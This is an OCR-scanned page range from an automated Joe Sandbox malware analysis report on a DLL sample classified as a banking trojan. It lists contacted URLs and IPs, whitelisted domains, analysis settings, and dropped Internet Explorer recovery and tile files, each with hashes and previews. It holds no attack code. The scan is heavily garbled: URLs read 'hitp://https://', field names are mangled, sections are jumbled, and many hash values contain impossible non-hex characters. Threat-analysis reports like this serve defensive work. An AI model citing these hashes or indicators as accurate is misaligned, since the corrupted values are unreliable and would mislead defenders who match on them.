de-ch[1].htm.4.dr
de-ch[1].htm.4.dr

~DF6EC85E7ASCABE297.TMP.3.dr

Malicious

false

false

false

false

false

false

false

false

false
false
false
false
false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

false

Antivirus Detection

URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

Avira URL Cloud: safe

URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

Avira URL Cloud: safe

URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

Avira URL Cloud: safe

Reputation

high

unknown

high

unknown

high

unknown

high

high

high

high

high

high

high

high

high
unknown
high

high
unknown
low

high

unknown

high

high
high

high
high

unknown

high

high

unknown

high

high

high
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Name

hitp://https://cdn.cookielaw.org/vendorlist/iabData.json

hitp://https://www.msn.com/de-
ch/homepage/api/pdp/updatepdpdata”

hitp://https://contoso.com/

hitp://https://www.awinl.com/cread.php?
awinmid=15168&awinaffid=696593&clickref=de-
ch&ued=https%

hitp://https://www.msn.com/de-
ch/news/other/steuerhinterziehung-mit-hochkar%c3%ad4tiger-
kunst-in-der-causa-s

hitp://https://cdn.cookielaw.org/vendorlist/iab2Data.json

hitp://https://onedrive.live.com/?qt=mru;Aktuelle
hitp://https://www.msn.com/de-ch/?ocid=iehp

hitp://https://sp.booking.com/index.html?
aid=1589774&label=dech-prime-hp-shoppingstripe-nav

hitp://https://www.msn.com/de-
ch/homepage/api/modules/fetch”

hitp://https://www.msn.com/de-ch/news/other/sch%c3%bcler-
positiv-auf-corona-mutation-getestet-alle-in-quara

hitp://https://mem.gfx.ms/meversion/?
partner=msn&market=de-ch"

hitp://nuget.org/NuGet.exe

hitp:/fiwww.nytimes.com/

hitp://https://web.vortex.data.msn.com/collect/v1/t.gif?
name=%27Ms.Webi.PageView%27&ver=%272.1%27&a

hitp://https://www.msn.com/de-ch/news/other/im-
alterszentrum-sydef%c3%a4deli-geschah-ein-tragischer-
corona-

hitp://https://www.bidstack.com/privacy-policy/

hitp://https://onedrive.live.com/about/en/download/

hitp://popup.taboola.com/german

Contacted IPs

] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
Bl 75% < No. of IPs

Copyright null 2021

Source

55a804ab-e5¢c6-4h97-9319-86263d
365d28[1].json.4.dr

de-ch[1].htm.4.dr

powershell.exe, 00000020.00000
002.455907331.000001AE52B31000
.00000004.00000001.sdmp

de-ch[1].htm.4.dr

de-ch[1].htm.4.dr

55a804ab-e5¢c6-4h97-9319-86263d
365d28[1].json.4.dr

85-0f8009-68ddb2ab[1].js.4.dr
~DF6EC85E7ASCABE297.TMP.3.dr
de-ch[1].htm.4.dr

de-ch[1].htm.4.dr

de-ch[1].htm.4.dr

de-ch[1].htm.4.dr

powershell.exe, 00000020.00000
002.455907331.000001AE52B31000
.00000004.00000001.sdmp

msapplication.xml3.3.dr

de-ch[1].htm.4.dr

de-ch[1].htm.4.dr

iab2Data[1].json.4.dr

85-0f8009-68ddb2ab[1].js.4.dr
auction[1].htm.4.dr

Malicious

false

false

false

false

false

false

false
false

false

false

false

false

false

false

false

false

false

false

false

Antivirus Detection

e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe

e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe

e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe

Reputation

high

high

unknown

high

high

high
high
high
high
high
high

unknown

high

high

high

high

unknown

high
high
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Public

P Domain
185.186.244.49 unknown
151.101.1.44 unknown

General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:
HDC Information:

HCA Information:

Cookbook Comments:

Copyright null 2021

Country
Netherlands

United States

Flag

[, 1!

ASN Name Malicious
WEBZILLANL false
FASTLYUS false

31.0.0 Red Diamond
341938

20.01.2021

07:45:55
CloudBasic

Oh 8m 44s

false

light
6007d134e83fctar.dll
default.jbs

Windows 10 64 bit v1803 with Office Professional Plus
2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8
Update 211

40
0
0
0
0

HCA enabled
EGA enabled
HDC enabled
AMSI enabled

L]
L]
L]
L]
default
Timeout
MAL
mal100.bank.troj.evad.winDLL@30/169@15/2
Failed
Failed

e Successful, ratio: 100%
o Number of executed functions: 0
« Number of non-executed functions: 0

e Adjust boot time

e Enable AMSI

e Found application associated with file extension:
il
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Warnings: Show All

e Exclude process from analysis (whitelisted):
taskhostw.exe, BackgroundTransferHost.exe,
ielowutil.exe, backgroundTaskHost.exe,
SgrmBroker.exe, WmiPrvSE.exe, svchost.exe,
UsoClient.exe

e TCP Packets have been reduced to 100

e Created / dropped Files have been reduced to 100

e Excluded IPs from analysis (whitelisted):
52.147.198.201, 52.255.188.83, 88.221.62.148,
204.79.197.203, 204.79.197.200, 13.107.21.200,
92.122.213.187, 92.122.213.231, 65.55.44.109,
92.122.146.68, 13.88.21.125, 51.11.168.160,
92.122.144.200, 152.199.19.161, 92.122.213.194,
92.122.213.247, 20.54.26.129, 52.142.114.2,
2.20.142.209, 2.20.142.210, 52.155.217.156

e Excluded domains from analysis (whitelisted):
arc.msn.com.nsatc.net, fs-
wildcard.microsoft.com.edgekey.net,
e11290.dspg.akamaiedge.net, www-bing-com.dual-
a-0001.a-msedge.net,
audownload.windowsupdate.nsatc.net,
watson.telemetry.microsoft.com, au-bg-
shim.trafficmanager.net, www.bing.com,
fs.microsoft.com, dual-a-0001.a-msedge.net,
cvision.media.net.edgekey.net, ris-
prod.trafficmanager.net,
displaycatalog.md.mp.microsoft.com.akadns.net,
updates.microsoft.com, a1999.dscg2.akamai.net,
web.vortex.data.trafficmanager.net,
ris.api.iris.microsoft.com, c.bing.com,
blobcollector.events.data.trafficmanager.net,
cs9.wpc.vOcdn.net,
au.download.windowsupdate.com.edgesuite.net, c-
msn-com-nsatc.trafficmanager.net, c-bing-com.a-
0001.a-msedge.net, fs-
wildcard.microsoft.com.edgekey.net.globalredir.aka
dns.net, a1449.dscg2.akamai.net, arc.msn.com,
iecvlist.microsoft.com,
db5eap.displaycatalog.md.mp.microsoft.com.akadn
s.net, go.microsoft.com,
displaycatalog.mp.microsoft.com, img-prod-cms-rt-
microsoft-com.akamaized.net,
prod.fs.microsoft.com.akadns.net, displaycatalog-
europeeap.md.mp.microsoft.com.akadns.net,
ie9comview.vo.msecnd.net, a-0003.a-msedge.net,
e1723.g.akamaiedge.net,
ctldl.windowsupdate.com, www-msn-com.a-0003.a-
msedge.net, a767.dscg3.akamai.net,
e607.d.akamaiedge.net,
web.vortex.data.microsoft.com,
skypedataprdcoleus16.cloudapp.net,
skypedataprdcoleus17.cloudapp.net, a-0001.a-
afdentry.net.trafficmanager.net, c-msn-com-europe-
vip.trafficmanager.net,
go.microsoft.com.edgekey.net, static-global-s-msn-
com.akamaized.net,
skypedataprdcolwus15.cloudapp.net,
cl.microsoft.com

e Report size exceeded maximum capacity and may
have missing behavior information.

e Report size getting too big, too many
NtDeviceloControlFile calls found.

e Report size getting too big, too many
NtOpenKeyEx calls found.

e Report size getting too big, too many
NtProtectVirtualMemory calls found.

e Report size getting too big, too many
NtQueryValueKey calls found.

e Report size getting too big, too many
NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time Type Description

07:48:13 API Interceptor 37x Sleep call for process: powershell.exe modified
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Associated Sample Name /| URL SHA 256 Detection
Get hash malicious

Get hash malicious

Get hash malicious

Get hash malicious

JA3 Fingerprints

Match

9e10692f1b7f78228b2d4e424dbh3a98c

Associated Sample Name /| URL SHA 256 Detection
Get hash malicious
Get hash malicious
Get hash malicious
Get hash malicious
Get hash malicious
Get hash malicious
Get hash malicious
Get hash malicious
Get hash malicious
Get hash malicious
Get hash malicious

Get hash malicious

Get hash malicious
Get hash malicious
Get hash malicious
Get hash malicious
Get hash malicious
Get hash malicious
Get hash malicious

Get hash malicious

Dropped Files

No context

Created / dropped Files

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\DOMStore\HQNFLJEY\contextual.media[1].xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with very long lines, with no line terminators

dropped

3632

4.9027768012903294

false
96:0QQQQQ77y77e711811x100r00s8sQ0s8sQY0s8sQ0s8sQn0s8sQyFVFsla:XglgWIQ
94FBA044C6A18C426C90686F7780D201
7F337F7A32823D919389CB8BF87202FF70BE1D2E
BEEODDC8C8FF9404E461C791BA74A110012DAF92FB270FF3EEE114EA6802C526

Link
Browse

Browse

Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context

109.234.39.133

e 88.85.69.166

78.140.165.10

e 46.30.45.85

Context

151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44

151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44

72A6B2869A4436161847D69EDS8DD29FEA1323CFBE520ABCEC78F34AAB35EAE706A6ECF08C71395BA920BC39B32692BE6G3E3CA516DB096738573B0C54F016FE!

7

false

<root></root><root></root><root><item name="HBCM_BIDS" value="{}" Itime="2038174384" htime="30863171" /></root><root><item name="HBCM_BIDS" value="{}"
Itime="2038174384" htime="30863171" /></root><root><item name="HBCM_BIDS" value="{}" ltime="2038174384" htime="30863171" /></root><root><item name="H
BCM_BIDS" value="{}" Itime="2038174384" htime="30863171" /><item name="mntest" value="mntest" Itime="2038374384" htime="30863171" /></root><root><item

name="HBCM_BIDS" value="{}" Itime="2038174384" htime="30863171" /></root><root><item name="HBCM_BIDS" value:
</root><root><item name="HBCM_BIDS" value="{}" Itime="2038494384" htime="30863171" /><item name="mntest" value=

"{}" ltime="2038494384" htime="30863171" />
mntest" [time="2038574384" htime="30

863171" /></root><root><item name="HBCM_BIDS" value="{}" Itime="2038494384" htime="30863171" /></root><root><item name="HBCM_BIDS" value="{}" Iltime="2

038494384" htime="30863171" /><item name="mntest" value="mntest" ltime="2041534384" htime="30863171"

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\DOMStore\VY83BLT8\www.msn[1].xml

Process:

File Type:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with no line terminators
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https://view.joesandbox.com/analysis/153224/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/153224/html/none?idtype=webid
https://view.joesandbox.com/analysis/145849/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/145849/html/none?idtype=webid
https://view.joesandbox.com/analysis/142170/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/142170/html/none?idtype=webid
https://view.joesandbox.com/analysis/142137/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/142137/html/none?idtype=webid
https://view.joesandbox.com/analysis/256540/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/256540/html/none?idtype=webid
https://view.joesandbox.com/analysis/256516/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/256516/html/none?idtype=webid
https://view.joesandbox.com/analysis/256496/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/256496/html/none?idtype=webid
https://view.joesandbox.com/analysis/256468/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/256468/html/none?idtype=webid
https://view.joesandbox.com/analysis/256408/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/256408/html/none?idtype=webid
https://view.joesandbox.com/analysis/256327/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/256327/html/none?idtype=webid
https://view.joesandbox.com/analysis/256288/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/256288/html/none?idtype=webid
https://view.joesandbox.com/analysis/256286/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/256286/html/none?idtype=webid
https://view.joesandbox.com/analysis/256083/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/256083/html/none?idtype=webid
https://view.joesandbox.com/analysis/256011/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/256011/html/none?idtype=webid
https://view.joesandbox.com/analysis/255968/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/255968/html/none?idtype=webid
https://view.joesandbox.com/analysis/255919/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/255919/html/none?idtype=webid
https://view.joesandbox.com/analysis/255890/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/255890/html/none?idtype=webid
https://view.joesandbox.com/analysis/255600/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/255600/html/none?idtype=webid
https://view.joesandbox.com/analysis/255547/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/255547/html/none?idtype=webid
https://view.joesandbox.com/analysis/255536/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/255536/html/none?idtype=webid
https://view.joesandbox.com/analysis/255528/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/255528/html/none?idtype=webid
https://view.joesandbox.com/analysis/255513/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/255513/html/none?idtype=webid
https://view.joesandbox.com/analysis/255461/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/255461/html/none?idtype=webid
https://view.joesandbox.com/analysis/255407/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/255407/html/none?idtype=webid

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\DOMStore\VY83BLT8\www.msn[1].xml

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

dropped

13

2.469670487371862

false

3:D90aKh:JFKb

C1DDEA3EF6BBEF3E7060A1A9AD89E4CS
35E3224FCBD3E1AF306F2B6A2C6BBEAIB0O867966
B71E4D17274636B97179BA2D97C742735B6510EB54F22893D3A2DAFF2CEB28DB

6BESCEC7C862AFAES5B37AA32DC5BB45912881A3276606DA41BF808A4EF92C318B355E616BF45A257B8995520D72B7C08752C0BE445DCEADESCF79F73480910FE
D

false

<root></root>

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{B388A325-5B36-11EB-90E4-ECF4BB862DED}.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\internet exploreniexplore.exe

Microsoft Word Document

dropped

129896

2.2998717422728925

false

384:r8ZwKU/TI+vxRjHyy3NgyoyoywuMQC7{3I00yXtUyIDM:/rrruy
FC4AA61848344CE29D4DD6E73C0B945E
F40CBCOAB4B0B3F69DBBCF6EB4081F59701B50BA
614D64B428FF2512007C2D863CEB03B4FEOECF8ADFFIF203ADBIC47FDA3CODSC
254A5C96FDBEF086B663997D1B88B146DE19074F70885D043D8BC34574150CBA65FA9CCB2C51D3D5F96D49B74153603424754389D2B7600403F6B8E987712530

false

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{B388A327-5B36-11EB-90E4-ECF4BB862DED}.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\internet exploreniexplore.exe

Microsoft Word Document

dropped

190090

3.59537360116042

false

3072:iCz/2BfcYmu5kLTzGtmZ/2Bfc/muSkLTzGtv:inQ
5F1B99B5561C864357768F5B24D2923D
F22B108553A39C89E720ED97816E2E65D58970F2
90D4C369AFDIDD3C48B7D50D767BBD84162DEE4B3B4FBFASFAFC7TAFCCF7C8747

7A4B929EB9D4427E962F345B904BD81D0FCOA2FFA3FBFEED33684BFE21EFFF33B1B1236B2C5A755BBESE40669E28F2A69EB1C843B2FB0OASF2A05387F788249E
E

false

C:\Users\luser\AppData\Local\Microsoft\internet Explorer\Recovery\High\Active\{CF5A71D7-5B36-11EB-90E4-ECF4BB862DED}.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Copyright null 2021

C:\Program Files\internet exploreniexplore.exe

Microsoft Word Document

dropped

27436

1.8650908083829443

false
96:r+ZPQT6ZBSyFjp2YKWIMY Y +Aii8xAiIKX4CA:r+ZPQT6ZkyFjp2 YKWtMY Y +AUxXAa4CA
CD4C52DF41AD19E90F12C458C2D0CCB1
AD4DC37F4A679F16679CBAC20538EECF04280F79
6D812ECEEFE338B947AF4A101B67DE6648687FBI9AEE2B55DF8BF71EBAA0940BD
209D92867BB754AE9E27B61C8BAFC2CEO3E593D7E827964BD813697F7E25B24A5840A988B2D9F46047406B8D58D989446FD7889A2A287B6A127069054E613383

false
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C:\Users\luser\AppData\Local\Microsoft\internet Explorer\Recovery\High\Active\{CF5A71D7-5B36-11EB-90E4-ECF4BB862DED}.dat

Preview:

.R.0.0.t. .[E.n.tr.

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{DD24AED3-5B36-11EB-90E4-ECF4BB862DED}.dat

Process: C:\Program Files\internet exploreniexplore.exe

File Type: Microsoft Word Document

Category: dropped

Size (bytes): 27364

Entropy (8bit): 1.8469079087456401

Encrypted: false

SSDEEP: 192:rvZ8Q460kuFjJ2nkWdMsYG1rC8RZqR1rC8RZ7C8+A:rRVDvUhY TusrAG8AGc85

MDS5: F08564F172CBAEDEFD931B4DFBF2D473

SHAL: 381A3F1D9FB24BF95B42062FE5979C675BB75640

SHA-256: 3C79432F7537209A1606CEC76F540E86D2160CB4A93395717F3E8DC26B9B5DSE

SHA-512: E68A1C66742BDC8I9BA74B35A23FF6668D0B392A4E525D6205996AB0163A60909D9FD54BACIEDB5313986C94F70C02FE7BA4C732D1BE4975EFF2DDD42F8CBEA
B

Malicious: false

Preview:

.R.0.0.t. .[E.n.tr.

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{DD24AED5-5B36-11EB-90E4-ECF4BB862DED}.dat

Process: C:\Program Files\internet exploreniexplore.exe

File Type: Microsoft Word Document

Category: dropped

Size (bytes): 27372

Entropy (8bit): 1.847354197671411

Encrypted: false

SSDEEP: 192:rSZEQQ6WKkbFje2FkWAMHY +LN4XXLN4/4ADWA:rON7XbhVJdHTR4hR4/4DB

MD5: 8AB41BEBB353F5DC7B11B45615A099F5

SHA1L: B959155CCD30880EBOSODE41908216B4E3F71364

SHA-256: 3E58038BD8E747653D5626 AFE28065ECB5DFID5F795EAFFF8574BF89E7812696

SHA-512: 09BF560CB35A53C940632CE3E3112EBBCC1F2CBCD85E54EAOBBF4EE6IDF50C380EF1BALAIBD6E4B22E1B1426E894984298C85842B3FF3914EF2B72E14D7654!
5

Malicious: false

Preview:

C:\Users\luser\AppData\Local\Microsoft\internet Explorer\Recovery\High\Active\{DD24AED7-5B36-11EB-90E4-ECF4BB862DED}.dat

Process: C:\Program Files\internet exploreniexplore.exe

File Type: Microsoft Word Document

Category: dropped

Size (bytes): 27368

Entropy (8bit): 1.8449796705946375

Encrypted: false

SSDEEP: 96:r2ZFQC6QBSTFjx2QkWMMLYi6ymqvix6ymgvEmniA:r2ZFQC6QKTFjx2QkWMMLYi6y5x6yWYiA

MDS5: ED632AF013EA5CB95C5EB28B142296F4

SHA1L: 6BC33B79F816504D7A42D839D2F58C2B65DB6EEF

SHA-256: 74EC77C6ED8D86FB26B029195E4283FE2D41A5237EF64989F8895D0F9F03A458

SHA-512: 9CF56D02E26D7373C562D5139EA3DD8D90C29C5AEFD28DCFDAD3BC79F4E9547022139BC9622A912DD0C2DD966769D44E18F30BCBIBD2AB51D2389EDOOACA!
EF

Malicious: false

Preview:

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{E6720C44-5B36-11EB-90E4-ECF4BB862DED}.dat

Process: C:\Program Files\internet exploreniexplore.exe
File Type: Microsoft Word Document
Category: dropped

Copyright null 2021 Page 22 of 71



C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{E6720C44-5B36-11EB-90E4-ECF4BB862DED}.dat

Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

19032

1.5832959438808054

false

48:1wIGcprFGwpaMG4pQIGrapbSyrGQpKPG7HpR7sTGIpX24GApm:r8ZPQM6EWBSYFAeT74FXg

26EF769F35B676B6BC80068E6OEF7564

52D8A272CDE5421D8E944B03F4750B5781625797

45027AA0FFCBE68CBCCE7832080C4A650E839855BCBF04A2E591AC02970D93CE
70AC81DD5608996FE8C0OB4837ADB68868FF57FAF07E2B7231664FB63C5AEFA93A80BEASC393B20AACE657D3C59040B93EE369134C0812755804744BDF1DA213F|

false

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-17529550060\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\internet exploreniexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

656

5.114809227527399

false

12: TMHdNMNxOEf60nWimI002EtM3MHANMNXOEf6Y nWiml00ObVbKEtMb:2d6NXOQSZHKd6NXO0SZ76b
8610413A37ABAB18F929272CA080957F

F15F785C3975B290FF241926A884263D26912605
18F21575CF7C9E4AD1A87A7183489C154E950F4677F417330250C59166DFF5CD

99344F202C5FAEB2A790FFA338DA46C6DE76CE1110A1D140A16F45A4C489AD0OE3E3A3E924B18EAEG37485FB618A959375ACD0A86FFFB1CC189B6FD7227FFB8I
C

false

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0x8a822dab,0x01d6ef43</date><
accdate>0x8a822dab,0x01d6ef43</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0x8a822dab,0x01d6ef43</date><accdate>0
x8a848ff9,0x01d6ef43</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Twitter.url"/></tile>
</msapplication></browserconfig>..

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-18270793970\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\internet exploreniexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

653

5.125129336415376

false

12: TMHdNMNxe2kaDInWimI002EtM3MHANMNxe2kaDInWiml00Obkak6EtMb:2d6Nxr5DISZHKdENxr5DISZ7Aa7b
B2688E17DDBBEEFF198917E2CB3FBC94

BDE6AA40E34DE9FDE067A1570C74C0509B059EF3
8CD5D78E090A36A0F69EAFDOBCF46D917BE7A02314982F7476518F4C0C389C82
FOAC1FF3FF85CB78FDEF2B982E6928247C5FC60F796BE74B6D3A6E93D23819B0B8F245E066384607DB836D70F943A08BCACEESB6DF1BE3F44E4019F786F7767

false

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.amazon.com/"/><date>0x8a7641c5,0x01d6ef43</date><a
ccdate>0x8a7641c5,0x01d6ef43</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.amazon.com/'/><date>0x8a7641c5,0x01d6ef43</date><a
ccdate>0x8a7641c5,0x01d6ef43</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Am
azon.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\internet Explorer\Tiles\pin-21706820\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Copyright null 2021

C:\Program Files\internet exploreniexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

662

5.123666198309357

false

12: TMHdNMNxvLf+YnWimI002EtM3MHANMNXxvLf+YnWiml00ObmZEtMb:2d6NxvpSZHKd6NxvpSZ7mb
FF2DD84933C20B6DACFC6B2527CC3F25

0CAF97D3F5851FED8741442C2D896E50C75E509A
2DFFO3ACBEFAF3258661B0OAC954659EF15406B206C32B18766B53F5613F09E85
502D5D3B8632E69E04BDF7710F3D2CF09278AE8D932F164BF13CBC9157E0FBI98A769CAA6AEAAS00F3A9E2FEFF74E8D180CDF5ADCBC2C469CCD8B4477C2DL
D25
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C:\Users\luser\AppData\Local\Microsoft\internet Explorer\Tiles\pin-21706820\msapplication.xml

Malicious:

Preview:

false

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.wikipedia.com/"/><date>0x8a848ff9,0x01d6ef43</date>
<accdate>0x8a848ff9,0x01d6ef43</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.wikipedia.com/"/><date>0x8a848ff9,0x01d6ef43</date><accda
te>0x8a848ff9,0x01d6ef43</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Wikipe
dia.url"/></tile></msapplication></browserconfig>..

C:\Users\luser\AppData\Local\Microsoft\internet Explorer\Tiles\pin-4759708130\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\internet exploren\iexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

647

5.11819090276934

false

12: TMHANMNxiIFEMEgnWimI002EtM3MHdANMNxiFEonWimI000bd5EtMb:2d6NxzdqSZHKd6Nxz0SZ7Jjb
4E958FCBFA1B8C332316D040432DA64D

3BAE797DE462DABC3EBAAE092E24ADABBCO836CE
ODES5EFA4797B204F23AE8F7ESEC73AC236AB64326A9DE192DA884DB55836C9E

1E84E7A8AF3B1AD4673F673D21AC1F03CF00792C3EACBD6SE75FC721D26B10AC3A70EBC7252617E24D49C82422159FEC8172C08BD60703A58254CA21CF8BFO!
F

false

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.live.com/"/><date>0x8a7b0678,0x01d6ef43</date><acc
date>0x8a7b0678,0x01d6ef43</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml
version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.live.com/"/><date>0x8a7b0678,0x01d6ef43</date><accdate>0x8a7fc
b75,0x01d6ef43</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Live.url"/></tile>
</msapplication></browserconfig>..

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-6757900\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\internet exploreniexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

656

5.139376541205742

false

12: TMHANMNxhGwf+YnWimI002EtM3MHANMNxhGwf+YnWiml000b8K075EtMb:2d6NxQgSZHKdA6NXQgSZ7YKajb
EEA481908A1E2CCC80B96454724A83F7

685999749F4C501C07693C14800569C98E602CC1
BAFE512BDDC9974B2394931A0BCO0EC9B4D95773137767391C2AFF4AE1A2B6976
F396301882EE958362B91054716FC5226D27405720D8BD3D80CC53900B4DBD6EE4A90993114A2381DEF3605DF2C3FE35CE315BAAOA7F38BA1340DEAS09F1183¢

false

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0x8a848ff9,0x01d6ef43</date><
accdate>0x8a848ff9,0x01d6ef43</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0x8a848ff9,0x01d6ef43</date><accdate>0
x8a848ff9,0x01d6ef43</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Youtube.url"/></tile
></msapplication></browserconfig>..

C:\Users\luser\AppData\Local\Microsoft\internet Explorer\Tiles\pin-8760897390\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\internet exploreniexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

653

